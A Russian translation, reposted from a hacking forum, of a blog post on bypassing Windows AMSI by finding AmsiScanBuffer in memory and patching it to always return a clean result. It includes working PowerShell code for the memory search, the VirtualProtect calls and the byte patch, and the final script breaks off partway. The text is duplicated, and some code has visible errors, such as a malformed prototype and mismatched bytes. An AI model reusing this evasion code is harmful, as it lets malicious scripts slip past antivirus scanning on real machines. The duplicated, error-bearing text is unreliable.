Обход AMSI
AMSI расшифровывается как Anti-Malware Scan Interface и был представлен в Windows 10. Название достаточно понятно; это интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (на пример в Windows Defender)
Многие пентестеры, проводящие оценки на основе сценариев или оценки Red Team на основе цифровых технологий, скорее всего, сталкивались с AMSI и знакомы с его возможностями. AMSI обеспечивает повышенную защиту от использования некоторых современных инструментов, тактик и процедур (TTP), обычно используемых во время атак, так как обеспечивает повышенную прозрачность для продуктов защиты от вредоносных программ. Наиболее актуальным примером являются полезные нагрузки без файлов PowerShell, которые широко использовались как действующими субъектами угроз, так и пентестерами.
По этой причине AMSI является предметом многих исследований, и возможность обойти AMSI может стать решающим фактором между успешной и неудачной атакой. Этот пост в блоге объясняет внутреннюю работу AMSI и описывает новую технику обхода.
На протяжении всего сообщения читателю будут представлены:
Как работает AMSI
Как уже упоминалось, AMSI позволяет службам и приложениям взаимодействовать с установленным антивирусом. Для этого AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы де-запутывать и анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное решение до его запуска.
Это список всех компонентов, которые реализуют AMSI в Windows 10:
Это представление архитектуры AMSI
Например,когда процесс PowerShell создан, динамичиская библиотека AMSI (Dynamic-Link Library =DLL) отображена в виртуальное адресное пространство процесса, которое представляет собой диапазон виртуальных адресов, которые Windows выделяет и делает доступным для процесса. DLL - это модуль, который содержит экспортированные и внутренние функции, которые могут использоваться другим модулем. Внутренние функции доступны из DLL, а экспортированные функции доступны из других модулей, а также из DLL. В нашем случае PowerShell будет использовать экспортированные функции из библиотеки AMSI для сканирования входных данных пользователя. Если считается безопасным, пользовательский ввод будет выполнен, в противном случае выполнение будет заблокировано, и будет зарегистрировано событие 1116 (MALWAREPROTECTION_BEHAVIOR_DETECTED).
Обратите внимание, что AMSI используется не только для сканирования скриптов, кода, команды или командлетов, но может использоваться для сканирования любого файла, памяти или потока данных, таких как строки, мгновенные сообщения, изображения или видео.
Функции AMSI
Как уже упоминалось, приложения, которые реализуют AMSI, используют экспортированные функции AMSI, но какие и как? И главное, какие функции отвечают за обнаружение и, следовательно, предотвращение «вредоносного» исполнения контента?
Два метода были использованы с целью получения списка экспортируемых функций. Во-первых, элементарный список функций можно найти на веб-сайте документации Microsoft:
Во-вторых, AMSI DLL можно отлаживать с помощью программного обеспечения, такого как WinDbg, которое можно использовать для обратного проектирования, разборки и динамического анализа. В нашем случае WinDbg будет подключен к процессу, на котором выполняется PowerShell, для анализа AMSI.
На следующем рисунке показан список экспортированных и внутренних функций AMSI с использованием WinDbg. Обратите внимание, что команда «x» используется для проверки символа. Файлы символов - это файлы, которые создаются при компиляции программы. Эти файлы не нужны для выполнения программы, но они содержат полезную информацию в процессе отладки, такую как глобальные и локальные переменные, а также имена и адреса функций (что является темой этого раздела).
Функции теперь известны; однако это не отвечает на самый важный вопрос: какие функции или функции участвуют в обнаружении и предотвращении «вредоносного» контента?
Чтобы ответить на этот вопрос, будет использована Фрида. Frida - это динамический инструментарий инструментария, используемый для внутреннего анализа и перехвата приложений, что означает, что его можно использовать для перехвата функций с целью анализа переменных и значений, которые они передают или возвращают.
Обратите внимание, что установка и объяснение того, как работает Frida, выходит за рамки этого поста; Для получения дополнительной информации, пожалуйста, используйте официальную документацию. В нашем случае будет использоваться только инструмент «frida-trace».
Прежде всего, frida-trace будет подключен к работающему процессу PowerShell (слева внизу), и все функции с именем, начинающимся с «Amsi», будут подключены. Ключ «-P» используется для указания идентификатора процесса, ключ «-X» используется для указания модуля (DLL), а ключ «-i» используется для указания имени функции, или, в нашем случае, шаблон.
Теперь, когда все эти функции перехвачены Frida, можно отслеживать то, что вызывается PowerShell, например, при наборе простой строки. Как показано ниже, вызываются как AmsiScanBuffer, так и AmsiOpenSession.
frida-trace - мощный инструмент, поскольку для каждой анализируемой функции создается дополнительный файл JavaScript. В каждом файле JavaScript присутствуют две функции: «onEnter» и «onLeave».
Функция «onEnter» имеет три параметра: «log», «args» и «state», которые, соответственно, являются функцией, используемой для отображения информации пользователю, списком аргументов, передаваемых функции, и глобальным объектом для inter. государственное управление.
Функция «onLeave» имеет три параметра: «log», «args» и «state», которые, соответственно, являются функцией для отображения информации пользователю (так же, как onEnter), возвращаемого значения функции и глобального объекта. для межфункционального управления состоянием (аналогично onEnter).
Например, файл JavaScript по умолчанию, сгенерированный Frida для AmsiScanBuffer, выглядит следующим образом:
В нашем случае файлы JavaScript функций AmsiScanBuffer и AmsiOpenSession могут быть обновлены в соответствии с их прототипом для анализа аргументов и возвращаемых значений. Прототип функции или интерфейс функции - это объявление функции, которое указывает имя функции, сигнатуру типа, параметры и их тип.
Прототип AmsiScanBuffer:
Прототип AmsiOpenSession
AmsiScanBuffer JavaScript file (__handlers__\amsi.dll\AmsiScanBuffer.js)
Обновлено:
AmsiOpenSession JavaScript файл (__handlers__\amsi.dll\AmsiOpenSession.js) обновлен:
Обновив эти файлы, теперь можно глубже понять, что передается этим функциям. Как показано на следующем рисунке, пользовательский ввод передается в функцию AmsiScanBuffer через переменную буфера.
На основании этого анализа мы можем сделать вывод, что AmsiScanBuffer является, по крайней мере, важной функцией, отвечающей за обнаружение и, следовательно, предотвращение «вредоносного» контента.
Нахождение адреса функции
Метод обхода теперь ограничен только одной функцией - AmsiScanBuffer.
В системах Windows экспортированная функция LoadLibrary из библиотеки Kernel32 используется для загрузки и сопоставления библиотеки DLL с виртуальным адресным пространством (VAS) запущенного процесса и возвращает дескриптор этой библиотеки DLL, который затем можно использовать с другими функциями. Если DLL уже сопоставлена в VAS процесса, что в нашем случае (PowerShell загружает AMSI DLL во время инициализации процесса), возвращается только дескриптор.
Windows API - это набор функций и структур данных, предоставляемых различными библиотеками DLL (например, Kernel32 или User32), которые используются приложениями и службами Windows для выполнения своих задач (например, создание файла, открытие процесса или загрузка DLL).
Чтобы получить дескриптор библиотеки AMSI DLL, можно выполнить следующий сценарий PowerShell:
”
Экспортируемая функция GetProcAddress из библиотеки Kernel32 позволяет получить дескриптор экспортируемой функции или переменной из заданной библиотеки DLL. В нашем случае этот Windows API будет использоваться для получения адреса AmsiScanBuffer или любой другой экспортируемой функции в AMSI DLL. Это то, что Rasta Mouse сделал изначально; однако, AmsiScanBuffer, а также другие строки теперь считаются вредоносными и указывают на подделку AMSI. Следовательно, требуется другой метод.
Идея состоит в том, чтобы динамически находить адрес функции AmsiScanBuffer вместо использования функции GetProcAddress для ее получения. Для этого по-прежнему требуется адрес, который будет служить отправной точкой в VAS. На данный момент может быть использована любая экспортируемая функция, которая не содержит строку «Amsi». В нашем случае был выбран DllCanUnloadNow.
Предыдущий сценарий PowerShell теперь можно обновить с помощью вызова функции GetProcAddress, чтобы получить адрес функции DllCanUnloadNow в VAS процесса. Это то, что делает следующий скрипт PowerShell.
Обратите внимание, что из-за рандомизации расположения адресного пространства (ASLR) адрес DllCanUnloadNow будет отличаться при каждой перезагрузке системы. В этом случае и до перезагрузки системы адрес функции равен «140717525833824». ASLR - это функция безопасности, которая рандомизирует адреса в VAS для защиты от предполагаемых областей памяти.
Кроме того, при каждой перезагрузке системы ASLR будет рандомизировать базовый адрес пространства пользователя.
Охотник за яйцами
Адрес DllCanUnloadNow можно рассматривать как точку входа в VAS процесса. Но как найти адрес AmsiScanBuffer?
На самом деле, можно пройти весь VAS в поисках определенного шаблона. Эту технику называют охотником за яйцами. Изначально охотник за яйцами состоял в разборе широкой области памяти в поисках двухбайтового шаблона (например, w00tw00t или p4ulp4ul), но в нашем случае вместо 8 байтов это будет 24 байта, 24 первых байта функции AmsiScanBuffer ,
Программное обеспечение WinDbg можно использовать для дизассемблирования функции AmsiScanBuffer, чтобы получить инструкции этой функции. Обратите внимание, что переключатель «u» предназначен для дизассемблирования указанного кода в памяти, в данном случае AmsiScanBuffer из библиотеки AMSI.
Как показано на рисунке выше, 24 первых байта функции: «0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70".
Обратите внимание, что последовательность «охоты» должна быть уникальной; в противном случае этот метод вернет «случайный» адрес, который не соответствует адресу функции, который мы ищем.
Следовательно, предыдущий сценарий PowerShell можно обновить, чтобы найти уникальную последовательность из 24 байтов в VAS.
Статический метод FindAddress из класса "Hunter" анализирует VAS, увеличивая его на адрес, переданный параметру методу, который является адресом функции DllCanUnloadNow. Затем метод использует статический метод ReadByte из класса Marshal, чтобы получить байт предоставленного адреса и сравнить его с байтами из последовательности, которую нужно найти. Наконец, он возвращает адрес функции, если последовательность была найдена.
Как показано на рисунке выше, найденные байты - это точно первые 24 байта функции AmsiScanbuffer, поэтому AmsiScanBuffer был успешно и динамически найден с использованием этого метода.
Патчинг
Теперь, когда адрес функции может быть обнаружен, следующим шагом является изменение инструкций функции, чтобы заблокировать обнаружение «вредоносного» контента.
Согласно документации Microsoft, функция AmsiScanBuffer должна возвращать HRESULT, который является целочисленным значением, указывающим результат или статус операции. В нашем случае, если функция завершится успешно, функция вернет "S_OK" (0x00000000); в противном случае будет возвращен код ошибки HRESULT.
Основная цель этой функции - вернуть, является ли контент для сканирования «чистым». Вот почему переменная «result» передается как параметр функции AmsiScanBuffer. Эта переменная имеет тип «AMSI_RESULT», который является перечислением.
Прототип перечисления выглядит следующим образом:
Во время выполнения функции анализируемое содержимое будет отправлено провайдеру защиты от вредоносных программ, который вернет целое число от 1 до 32762 (включительно). Чем выше это число, тем выше оценивается риск. Если целое число больше или равно 32762, анализируемый контент считается вредоносным и блокируется. Затем переменная результата AMSI_RESULT будет обновлена в соответствии с возвращенным целым числом.
По умолчанию переменная находится в чистом состоянии, поэтому, если инструкции функции изменены, чтобы никогда не отправлять контент провайдеру защиты от вредоносных программ, и если возвращается «S_OK» HRESULT, контент всегда будет считаться чистым.
В сборке EAX (32-разрядная версия) и RAX (64-разрядная версия) всегда содержит возвращаемое значение функции; следовательно, если регистр EAX / RAX равен 0, и если выполняется инструкция сборки «ret», функция просто вернет HRSULT «S_OK» и не отправит контент провайдеру вредоносного ПО для анализа.
Для этого можно использовать следующий код сборки:
Для исправления функции AmsiScanBuffer первые байты должны быть изменены на «0x31 0xC0 0xC3» (шестнадцатеричное представление вышеприведенных инструкций по сборке). Однако перед любой модификацией область для модификации должна быть доступна для чтения / записи; в противном случае любой доступ для чтения или записи приведет к исключению нарушения прав доступа. Чтобы изменить защиту области памяти для изменения, можно использовать функцию экспорта VirtualProtect из Kernel32 DLL. Эта функция изменяет защиту памяти указанного региона.
В следующем фрагменте PowerShell используется вызов VirtualProtect для изменения защиты памяти первых 3 байтов функции AmsiScanBuffer.
В следующем фрагменте PowerShell используется вызов VirtualProtect для изменения защиты памяти первых 3 байтов функции AmsiScanBuffer.
Затем статический метод «Copy» из класса «Marshal» можно использовать для копирования (перезаписи) заданных байтов на заданный адрес. В нашем случае этот статический метод будет использоваться для применения нашего патча.
Наконец, функцию VirtualProtect можно использовать еще раз для повторной инициализации до исходного состояния защиты памяти.
Собрав все части, можно выполнить следующий и последний сценарий PowerShell, чтобы:
Финальные шаги
Методика была протестирована на следующей версии Windows:
Окончательный сценарий PowerShell можно найти здесь
https://gist.github.com/amonsec/986db36000d82b39c73218facc557628
Версия C#:
https://gist.github.com/amonsec/854a6662f9df165789c8ed2b556e9597
Перевод: $talk3r
Оригинал: https://www.contextis.com/en/blog/amsi-bypass
xss.pro (c)
AMSI расшифровывается как Anti-Malware Scan Interface и был представлен в Windows 10. Название достаточно понятно; это интерфейс, который могут использовать приложения и службы, отправляя «контент» поставщику антивирусного ПО, установленному в системе (на пример в Windows Defender)
Многие пентестеры, проводящие оценки на основе сценариев или оценки Red Team на основе цифровых технологий, скорее всего, сталкивались с AMSI и знакомы с его возможностями. AMSI обеспечивает повышенную защиту от использования некоторых современных инструментов, тактик и процедур (TTP), обычно используемых во время атак, так как обеспечивает повышенную прозрачность для продуктов защиты от вредоносных программ. Наиболее актуальным примером являются полезные нагрузки без файлов PowerShell, которые широко использовались как действующими субъектами угроз, так и пентестерами.
По этой причине AMSI является предметом многих исследований, и возможность обойти AMSI может стать решающим фактором между успешной и неудачной атакой. Этот пост в блоге объясняет внутреннюю работу AMSI и описывает новую технику обхода.
На протяжении всего сообщения читателю будут представлены:
- Базовые знания Windows Internals (например, виртуальное адресное пространство, Windows API);
- Основное использование отладчика Windows для анализа и дизассемблирования программы (в нашем случае powershell.exe);
- Основное использование Frida для перехвата функций; а также
- Основы сценариев PowerShell;
Как работает AMSI
Как уже упоминалось, AMSI позволяет службам и приложениям взаимодействовать с установленным антивирусом. Для этого AMSI подключает, например, Windows Scripting Host (WSH) и PowerShell, для того, чтобы де-запутывать и анализировать выполняемый контент. Этот контент «перехватывается» и отправляется в антивирусное решение до его запуска.
Это список всех компонентов, которые реализуют AMSI в Windows 10:
- Контроль учетных записей или UAC (повышение прав установки EXE, COM, MSI или ActiveX)
- PowerShell (cкрипты, интерактивное использование и динамическая оценка кода)
- Windows Script Host (wscript.exe и cscript.exe)
- JavaScript и VBScript
- Офисные макросы VBA
Это представление архитектуры AMSI
Например,когда процесс PowerShell создан, динамичиская библиотека AMSI (Dynamic-Link Library =DLL) отображена в виртуальное адресное пространство процесса, которое представляет собой диапазон виртуальных адресов, которые Windows выделяет и делает доступным для процесса. DLL - это модуль, который содержит экспортированные и внутренние функции, которые могут использоваться другим модулем. Внутренние функции доступны из DLL, а экспортированные функции доступны из других модулей, а также из DLL. В нашем случае PowerShell будет использовать экспортированные функции из библиотеки AMSI для сканирования входных данных пользователя. Если считается безопасным, пользовательский ввод будет выполнен, в противном случае выполнение будет заблокировано, и будет зарегистрировано событие 1116 (MALWAREPROTECTION_BEHAVIOR_DETECTED).
Обратите внимание, что AMSI используется не только для сканирования скриптов, кода, команды или командлетов, но может использоваться для сканирования любого файла, памяти или потока данных, таких как строки, мгновенные сообщения, изображения или видео.
Функции AMSI
Как уже упоминалось, приложения, которые реализуют AMSI, используют экспортированные функции AMSI, но какие и как? И главное, какие функции отвечают за обнаружение и, следовательно, предотвращение «вредоносного» исполнения контента?
Два метода были использованы с целью получения списка экспортируемых функций. Во-первых, элементарный список функций можно найти на веб-сайте документации Microsoft:
- AmsiCloseSession
- AmsiInitialize
- AmsiOpenSession
- AmsiResultsMalware
- AmsiScanBuffer
- AmsiScanString
- AmsiUninitialize
Во-вторых, AMSI DLL можно отлаживать с помощью программного обеспечения, такого как WinDbg, которое можно использовать для обратного проектирования, разборки и динамического анализа. В нашем случае WinDbg будет подключен к процессу, на котором выполняется PowerShell, для анализа AMSI.
На следующем рисунке показан список экспортированных и внутренних функций AMSI с использованием WinDbg. Обратите внимание, что команда «x» используется для проверки символа. Файлы символов - это файлы, которые создаются при компиляции программы. Эти файлы не нужны для выполнения программы, но они содержат полезную информацию в процессе отладки, такую как глобальные и локальные переменные, а также имена и адреса функций (что является темой этого раздела).
Функции теперь известны; однако это не отвечает на самый важный вопрос: какие функции или функции участвуют в обнаружении и предотвращении «вредоносного» контента?
Чтобы ответить на этот вопрос, будет использована Фрида. Frida - это динамический инструментарий инструментария, используемый для внутреннего анализа и перехвата приложений, что означает, что его можно использовать для перехвата функций с целью анализа переменных и значений, которые они передают или возвращают.
Обратите внимание, что установка и объяснение того, как работает Frida, выходит за рамки этого поста; Для получения дополнительной информации, пожалуйста, используйте официальную документацию. В нашем случае будет использоваться только инструмент «frida-trace».
Прежде всего, frida-trace будет подключен к работающему процессу PowerShell (слева внизу), и все функции с именем, начинающимся с «Amsi», будут подключены. Ключ «-P» используется для указания идентификатора процесса, ключ «-X» используется для указания модуля (DLL), а ключ «-i» используется для указания имени функции, или, в нашем случае, шаблон.
Теперь, когда все эти функции перехвачены Frida, можно отслеживать то, что вызывается PowerShell, например, при наборе простой строки. Как показано ниже, вызываются как AmsiScanBuffer, так и AmsiOpenSession.
frida-trace - мощный инструмент, поскольку для каждой анализируемой функции создается дополнительный файл JavaScript. В каждом файле JavaScript присутствуют две функции: «onEnter» и «onLeave».
Функция «onEnter» имеет три параметра: «log», «args» и «state», которые, соответственно, являются функцией, используемой для отображения информации пользователю, списком аргументов, передаваемых функции, и глобальным объектом для inter. государственное управление.
Функция «onLeave» имеет три параметра: «log», «args» и «state», которые, соответственно, являются функцией для отображения информации пользователю (так же, как onEnter), возвращаемого значения функции и глобального объекта. для межфункционального управления состоянием (аналогично onEnter).
Например, файл JavaScript по умолчанию, сгенерированный Frida для AmsiScanBuffer, выглядит следующим образом:
Код:
{
onEnter: function (log, args, state) {
log('AmsiScanBuffer()');
},
onLeave: function (log, retval, state) { }
}
В нашем случае файлы JavaScript функций AmsiScanBuffer и AmsiOpenSession могут быть обновлены в соответствии с их прототипом для анализа аргументов и возвращаемых значений. Прототип функции или интерфейс функции - это объявление функции, которое указывает имя функции, сигнатуру типа, параметры и их тип.
Прототип AmsiScanBuffer:
Код:
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
Прототип AmsiOpenSession
Код:
HRESULT AmsiScanBuffer(
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
AmsiScanBuffer JavaScript file (__handlers__\amsi.dll\AmsiScanBuffer.js)
Обновлено:
Код:
{
onEnter: function (log, args, state) {
log('[+] AmsiScanBuffer');
log('|- amsiContext: ' + args[0]);
log('|- buffer: ' + Memory.readUtf16String(args[1]));
log('|- length: ' + args[2]);
log('|- contentName: ' + args[3]);
log('|- amsiSession: ' + args[4]);
log('|- result: ' + args[5] + "\n");
},
onLeave: function (log, retval, state) { }
}
AmsiOpenSession JavaScript файл (__handlers__\amsi.dll\AmsiOpenSession.js) обновлен:
Код:
{
onEnter: function (log, args, state) {
log('[+] AmsiOpenSession');
log('|- amsiContext: ' + args[0]);
log('|- amsiSession: ' + args[1] + "\n");
},
onLeave: function (log, retval, state) { }
}
Обновив эти файлы, теперь можно глубже понять, что передается этим функциям. Как показано на следующем рисунке, пользовательский ввод передается в функцию AmsiScanBuffer через переменную буфера.
На основании этого анализа мы можем сделать вывод, что AmsiScanBuffer является, по крайней мере, важной функцией, отвечающей за обнаружение и, следовательно, предотвращение «вредоносного» контента.
Нахождение адреса функции
Метод обхода теперь ограничен только одной функцией - AmsiScanBuffer.
В системах Windows экспортированная функция LoadLibrary из библиотеки Kernel32 используется для загрузки и сопоставления библиотеки DLL с виртуальным адресным пространством (VAS) запущенного процесса и возвращает дескриптор этой библиотеки DLL, который затем можно использовать с другими функциями. Если DLL уже сопоставлена в VAS процесса, что в нашем случае (PowerShell загружает AMSI DLL во время инициализации процесса), возвращается только дескриптор.
Windows API - это набор функций и структур данных, предоставляемых различными библиотеками DLL (например, Kernel32 или User32), которые используются приложениями и службами Windows для выполнения своих задач (например, создание файла, открытие процесса или загрузка DLL).
Чтобы получить дескриптор библиотеки AMSI DLL, можно выполнить следующий сценарий PowerShell:
Код:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”
”
Экспортируемая функция GetProcAddress из библиотеки Kernel32 позволяет получить дескриптор экспортируемой функции или переменной из заданной библиотеки DLL. В нашем случае этот Windows API будет использоваться для получения адреса AmsiScanBuffer или любой другой экспортируемой функции в AMSI DLL. Это то, что Rasta Mouse сделал изначально; однако, AmsiScanBuffer, а также другие строки теперь считаются вредоносными и указывают на подделку AMSI. Следовательно, требуется другой метод.
Идея состоит в том, чтобы динамически находить адрес функции AmsiScanBuffer вместо использования функции GetProcAddress для ее получения. Для этого по-прежнему требуется адрес, который будет служить отправной точкой в VAS. На данный момент может быть использована любая экспортируемая функция, которая не содержит строку «Amsi». В нашем случае был выбран DllCanUnloadNow.
Предыдущий сценарий PowerShell теперь можно обновить с помощью вызова функции GetProcAddress, чтобы получить адрес функции DllCanUnloadNow в VAS процесса. Это то, что делает следующий скрипт PowerShell.
Код:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule”
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
Обратите внимание, что из-за рандомизации расположения адресного пространства (ASLR) адрес DllCanUnloadNow будет отличаться при каждой перезагрузке системы. В этом случае и до перезагрузки системы адрес функции равен «140717525833824». ASLR - это функция безопасности, которая рандомизирует адреса в VAS для защиты от предполагаемых областей памяти.
Кроме того, при каждой перезагрузке системы ASLR будет рандомизировать базовый адрес пространства пользователя.
Охотник за яйцами
Адрес DllCanUnloadNow можно рассматривать как точку входа в VAS процесса. Но как найти адрес AmsiScanBuffer?
На самом деле, можно пройти весь VAS в поисках определенного шаблона. Эту технику называют охотником за яйцами. Изначально охотник за яйцами состоял в разборе широкой области памяти в поисках двухбайтового шаблона (например, w00tw00t или p4ulp4ul), но в нашем случае вместо 8 байтов это будет 24 байта, 24 первых байта функции AmsiScanBuffer ,
Программное обеспечение WinDbg можно использовать для дизассемблирования функции AmsiScanBuffer, чтобы получить инструкции этой функции. Обратите внимание, что переключатель «u» предназначен для дизассемблирования указанного кода в памяти, в данном случае AmsiScanBuffer из библиотеки AMSI.
Как показано на рисунке выше, 24 первых байта функции: «0x4C 0x8D 0xDC 0x49 0x89 0x5B 0x08 0x49 0x89 0x6B 0x10 0x49 0x89 0x73 0x18 0x57 0x41 0x56 0x41 0x57 0x48 0x83 0xEC 0x70".
Обратите внимание, что последовательность «охоты» должна быть уникальной; в противном случае этот метод вернет «случайный» адрес, который не соответствует адресу функции, который мы ищем.
Следовательно, предыдущий сценарий PowerShell можно обновить, чтобы найти уникальную последовательность из 24 байтов в VAS.
Код:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress ([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
Add-Type $Kernel32
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
[IntPtr]$targetedAddress = [Hunter]:: FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address $targetedAddress"
[string]$bytes = ""
[int]$i = 0
while ($i -lt $egg.Length) {
[IntPtr]$targetedAddress = [IntPtr]::Add($targetedAddress, $i)
$bytes += "0x" + [System.BitConverter]::ToString([System.Runtime.InteropServices.Marshal]::ReadByte($targetedAddress)) + " "
$i++
}
Write-Host "[+] Bytes: $bytes"
Статический метод FindAddress из класса "Hunter" анализирует VAS, увеличивая его на адрес, переданный параметру методу, который является адресом функции DllCanUnloadNow. Затем метод использует статический метод ReadByte из класса Marshal, чтобы получить байт предоставленного адреса и сравнить его с байтами из последовательности, которую нужно найти. Наконец, он возвращает адрес функции, если последовательность была найдена.
Как показано на рисунке выше, найденные байты - это точно первые 24 байта функции AmsiScanbuffer, поэтому AmsiScanBuffer был успешно и динамически найден с использованием этого метода.
Патчинг
Теперь, когда адрес функции может быть обнаружен, следующим шагом является изменение инструкций функции, чтобы заблокировать обнаружение «вредоносного» контента.
Согласно документации Microsoft, функция AmsiScanBuffer должна возвращать HRESULT, который является целочисленным значением, указывающим результат или статус операции. В нашем случае, если функция завершится успешно, функция вернет "S_OK" (0x00000000); в противном случае будет возвращен код ошибки HRESULT.
Основная цель этой функции - вернуть, является ли контент для сканирования «чистым». Вот почему переменная «result» передается как параметр функции AmsiScanBuffer. Эта переменная имеет тип «AMSI_RESULT», который является перечислением.
Прототип перечисления выглядит следующим образом:
Код:
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};
Во время выполнения функции анализируемое содержимое будет отправлено провайдеру защиты от вредоносных программ, который вернет целое число от 1 до 32762 (включительно). Чем выше это число, тем выше оценивается риск. Если целое число больше или равно 32762, анализируемый контент считается вредоносным и блокируется. Затем переменная результата AMSI_RESULT будет обновлена в соответствии с возвращенным целым числом.
По умолчанию переменная находится в чистом состоянии, поэтому, если инструкции функции изменены, чтобы никогда не отправлять контент провайдеру защиты от вредоносных программ, и если возвращается «S_OK» HRESULT, контент всегда будет считаться чистым.
В сборке EAX (32-разрядная версия) и RAX (64-разрядная версия) всегда содержит возвращаемое значение функции; следовательно, если регистр EAX / RAX равен 0, и если выполняется инструкция сборки «ret», функция просто вернет HRSULT «S_OK» и не отправит контент провайдеру вредоносного ПО для анализа.
Для этого можно использовать следующий код сборки:
Код:
xor EAX, EAX
ret
Для исправления функции AmsiScanBuffer первые байты должны быть изменены на «0x31 0xC0 0xC3» (шестнадцатеричное представление вышеприведенных инструкций по сборке). Однако перед любой модификацией область для модификации должна быть доступна для чтения / записи; в противном случае любой доступ для чтения или записи приведет к исключению нарушения прав доступа. Чтобы изменить защиту области памяти для изменения, можно использовать функцию экспорта VirtualProtect из Kernel32 DLL. Эта функция изменяет защиту памяти указанного региона.
В следующем фрагменте PowerShell используется вызов VirtualProtect для изменения защиты памяти первых 3 байтов функции AmsiScanBuffer.
Код:
# PAGE_READWRITE = 0x04
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
В следующем фрагменте PowerShell используется вызов VirtualProtect для изменения защиты памяти первых 3 байтов функции AmsiScanBuffer.
Затем статический метод «Copy» из класса «Marshal» можно использовать для копирования (перезаписи) заданных байтов на заданный адрес. В нашем случае этот статический метод будет использоваться для применения нашего патча.
Код:
$patch = [Byte[]] (0x31, 0xC0, 0xC3) # xor eax, eax; ret
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
Наконец, функцию VirtualProtect можно использовать еще раз для повторной инициализации до исходного состояния защиты памяти.
Код:
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]5, $oldProtectionBuffer, [ref]$a) | Out-Null
Собрав все части, можно выполнить следующий и последний сценарий PowerShell, чтобы:
- Получить дескриптор AMSI DLL;
- Получить адрес функции DllCanUnloadNow;
- Найдите адрес функции AmsiScanBuffer с помощью метода поиска яиц;
- Изменить регион, чтобы изменить, чтобы читать и писать;
- Применить патч; а также
- Реинициализировать измененную область в исходное состояние.
Код:
Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
